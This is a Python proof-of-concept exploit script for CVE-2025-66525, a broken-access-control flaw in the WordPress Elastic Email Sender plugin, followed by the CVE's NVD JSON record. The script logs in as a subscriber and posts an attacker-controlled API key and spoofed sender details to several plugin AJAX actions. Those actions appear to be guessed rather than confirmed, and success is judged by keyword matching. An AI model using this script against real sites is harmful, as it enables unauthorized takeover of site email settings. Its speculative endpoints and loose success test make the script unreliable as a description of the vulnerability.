CVE-2025-66525

# CVE-2025-66525 PoC - Missing Authorization in Elastic Email Sender # Author: Security Researcher # Target: WordPress Elastic Email Sender plugin <= 1.2.20 import requests import sys from urllib.parse import urljoin def exploit_cve_2025_66525(target_url, username, password): """ Exploit for Missing Authorization vulnerability in Elastic Email Sender plugin. This PoC demonstrates how a low-privilege user can access admin functions. """ # Setup session session = requests.Session() # Step 1: Login as low-privilege user (subscriber role) login_url = urljoin(target_url, 'wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print('[*] Attempting to login as low-privilege user...') response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed!') return False print('[+] Login successful!') # Step 2: Identify vulnerable AJAX endpoints # Common vulnerable patterns in Elastic Email Sender plugin vulnerable_endpoints = [ '/wp-admin/admin-ajax.php?action=elastic_email_settings_update', '/wp-admin/admin-ajax.php?action=elastic_email_send_test', '/wp-admin/admin-ajax.php?action=elastic_email_get_templates', '/wp-admin/admin-ajax.php?action=elastic_email_config_save' ] print('[*] Testing for missing authorization on plugin endpoints...') for endpoint in vulnerable_endpoints: full_url = urljoin(target_url, endpoint) # Malicious payload to modify plugin settings payload = { 'api_key': 'attacker_controlled_key', 'from_email': '[email protected]', 'from_name': 'Compromised' } try: response = session.post(full_url, data=payload, timeout=10) # Check if request was processed without authorization if response.status_code == 200: # Check response for signs of successful exploitation if any(keyword in response.text.lower() for keyword in ['success', 'updated', 'saved', 'true']): print(f'[+] VULNERABLE: {endpoint}') print(f' Status: {response.status_code}') print(f' Response preview: {response.text[:200]}') return True else: print(f'[*] Endpoint accessible but no obvious exploitation: {endpoint}') else: print(f'[-] Protected: {endpoint}') except requests.exceptions.RequestException as e: print(f'[-] Error testing {endpoint}: {str(e)}') print('[*] Manual verification may be required for accurate results.') return False if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve_2025_66525_poc.py <target_url> <username> <password>') print('Example: python cve_2025_66525_poc.py http://victim.com subscriber password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_66525(target, user, pwd)

{"cve": {"id": "CVE-2025-66525", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:19.600", "lastModified": "2026-04-27T18:16:38.047", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Elastic Email Elastic Email Sender elastic-email-sender allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Elastic Email Sender: from n/a through <= 1.2.20."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/elastic-email-sender/vulnerability/wordpress-elastic-email-sender-plugin-1-2-20-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}